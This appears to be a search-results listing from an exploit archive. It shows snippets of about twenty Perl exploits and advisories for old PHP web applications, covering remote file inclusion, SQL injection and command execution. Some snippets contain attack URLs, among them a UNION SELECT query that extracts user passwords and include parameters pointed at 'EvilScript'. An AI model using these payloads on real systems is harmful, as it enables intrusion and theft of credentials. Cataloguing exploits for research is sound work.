251 matches found
Agoko CMS <= 0.4 - Remote Command Execution Exploit
No description provided by source. !/usr/bin/perl print q -------------------------------------------------- Agoko CMS = 0.4 remote commands execution exploit by staker mail: stakerathotmaildotit -------------------------------------------------- Usage - perl xpl.pl host path Example - perl agk.p...
Back-End CMS 0.4.5 admin/index.php includes_path Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/20207/info Back-End CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. A successful exploit of these issues allows an attacker to execute arbitrary...
SourceForge <= 1.0.4 (database.php) Remote File Include Exploit
No description provided by source. !/usr/bin/perl SourceForge-1.0.4 remote Command Execution Vulnerabilities Risk : High Remote Code Execution Url: http://lbdpc15.epfl.ch/ibd/IBD2000/SourceForge-1.0.4.tgz Exploit: http://site.com/path/include/database.php?sysdbtype=EvilScript coded and f0und3d by...
CASTOR <= 1.1.1 (lib/rs.php) Remote File Include Exploit
No description provided by source. !/usr/bin/perl CASTOR = 1.1.1 Remote Command Execution Vulnerability Risk : High Remote Code Execution Url: svn.gna.org/svn/castor/trunk Exploit: http://www.site.com/path/lib/rs.php?rootpath=EvilScript coded and f0und3d by Kw3RLn ciriboflacsATYaHOo.com Romanian...
Wbb3 - Blind SQL Injection Vulnerability
No description provided by source. !/usr/bin/perl -w use strict; use LWP::Simple; $| = 1; print q ----------------------------------------------- Wbb3 Blind Sql Injection Injection in Announce Plugin Kleinanzeigen Markt Coded By Molli use: ano.pl url user id Announce Catid Google:...
LAN Management System (LMS) <= 1.9.6 - Remote File Inclusion Exploit
No description provided by source. !/usr/bin/perl LMS - LAN Management System 1.9.6 - RFI Risk : High Remote Code Execution Url: http://www.lms.org.pl/download/1.9/lms-1.9.6.tar.gz Exploit: http://site.com/path/lib/language.php?LIBDIR=EvilScript coded and f0und3d by Kw3RLn...
phpWebSite <= 0.10.0-full (topics.php) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl advisory sent in by SnIpErSA selfar2002athotmail.com http://www.target.com/topics.php?op=viewtopic&topic=-1%20Union%20select%20name,name,pass,name%20From%20users%20where%20uid=1 ported by str0ke milw0rm.com from x97Rangs code RST/GHC...
Nuked-Klan 1.7 Links Module link_id Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/15181/info Nuked Klan is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. These vulnerabilities...
PHPRecipeBook <= 2.35 (g_rb_basedir) Remote File Include Exploit
No description provided by source. !/usr/bin/perl PHPRecipeBook 2.36 Class: Remote File Include Vulnerability Date: 2006/10/16 Remote: Yes Type: Highly critical Vendor: http://phprecipebook.sourceforge.net/...
maluinfo <= 206.2.38 (bb_usage_stats.php) Remote File Include Exploit
No description provided by source. !/usr/bin/perl maluinfo 206.2.38 brazilian PHPBB Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high...
quizz <= 1.01 (quizz.pl) Remote Command Execution Exploit
No description provided by source. !/usr/bin/perl quizz.p exploit by FOXMULDER [email protected] Vulnerability foud by WBYTE. Born to be root !!! !!!!!!!!!!!!!!!THANKS to WBYTE !!!!!!!!!!!!!!!!! FACT:Wbyte doesn't sleeps , he waits !. 0day use IO::Socket; use LWP::Simple; sub Usage print STDERR...
Censtore <= 7.3.x (censtore.cgi) Remote Command Execution Exploit
No description provided by source. !/usr/bin/perl Censtore.cgi exploit by FOXMULDER [email protected] Vulnerability foud by FOXMULDER. This is the first exploit i release and the bug is not public so enjoy. Ask http://censtore.com/ what they think about it !!! use IO::Socket; use LWP::Simple; sub...
DreamBox DM800 1.5rc1 Remote Root File Disclosure Exploit
No description provided by source. !/usr/bin/perl DreamBox DM800 = 1.5rc1 Remote File Disclosure Exploit Author: Todor Donev Email: todor.donev@@gmail.com Type: Hardware Vuln Type: Remote Product summary: DreamBox DM800 is Powerful receiver for digital TV and Radio programs based on Linux. Produc...
Kisisel Radyo Script - Multiple Vulnerabilities
No description provided by source. Kisisel Radyo Script - Multiple Vulnerabilities Author: FuRty Contact : [email protected] Thanks: RedGuard, KnocKout, TrSniper and all Justic3 Group Script : Kisisel Radyo Script Version : N/A Download : http://www.aspindir.com SQL Injection Vulnerable in radyo.as...
phpMyAgenda <= 3.1 (templates/header.php3) Local File Include Exploit
No description provided by source. !/usr/bin/perl use IO::Socket; use LWP::Simple; print \n; print \n; print \n; print phpMyAgenda 3.1 Multiple Remote Vulnerabilities Exploit \n; print Bug found By : Ashiyane Corporation \n; print Email: Nima Salehi nimaatashiyane.ir \n; print Web Site :...
phpBB Security <= 1.0.1 (php_security.php) Remote File Include Exploit
No description provided by source. !/usr/bin/perl phpBB Security 1.0.1 Class: Remote File Include Vulnerability Date: 2006/10/12 Remote: Yes Type: high Site: http://www.phpbb-amod.com/downloads/phpBBSecurity.zip...
TClanPortal <= 1.1.3 (id) Remote SQL Injection Exploit
No description provided by source. TClanPortal Version 3 .. Search By Google :- by TriggerTG.de 2003 - Version 3 Gr33tz :- Abducter .. SQL Injection's FOunder - | [email protected] |- Devil-00 .. SQL Injection's Exploting - | [email protected] | - Security4Arab .. A'Where Home .. WE LOVE...
SturGeoN Upload Arbitrary File Upload Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/18764/info SturGeoN Upload is prone to an arbitrary file-upload vulnerability. An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitat...
PNphpBB2 <= 12i - (ModName) Multiple Local File Inclusion Exploit
No description provided by source. !/usr/bin/perl PNphpBB2 = 1.2i ModName Multiple LFI Exploit by athos - stakerathotmaildotit use strict; use LWP::Simple; use Tk; my $host,$file,$about; my $poc = PNphpBB2 = 1.2i ModName Multiple LFI Exploit; my $obj = new MainWindow-background = 'E4E4E4';...
PHPWebThings <= 1.4 (forum) SQL Injection Exploit
No description provided by source. !/bin/bin/perl ----------------------------------------------------- - SQL injection in phpwebthing v 1.4.4 - Founder by Qptan & Exploting by AhLam - www.leZe.Com Only For Geek Hacker's - coded by AhLaM A.1.M|at|hotmail.com -...